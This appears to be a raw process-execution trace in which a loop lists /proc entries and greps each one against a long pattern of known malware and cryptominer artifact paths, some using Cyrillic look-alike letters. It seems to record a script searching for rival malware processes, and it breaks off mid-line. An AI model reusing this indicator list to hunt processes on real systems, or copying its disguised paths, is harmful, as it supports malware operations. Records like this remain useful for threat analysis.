[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/960]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/98]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/984]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/996]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/acpi]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/buddyinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/bus]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cgroups]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cmdline]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/consoles]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cpuinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/crypto]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/devices]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/diskstats]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/dma]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/driver]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/execdomains]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/fb]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/filesystems]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/fs]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/interrupts]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/iomem]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/ioports]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/irq]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kallsyms]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kcore]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/key-users]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/keys]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kmsg]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpagecgroup]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpagecount]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpageflags]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/loadavg]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/locks]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/mdstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/meminfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/misc]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/modules]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/mounts]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/mtrr]

/bin/grep

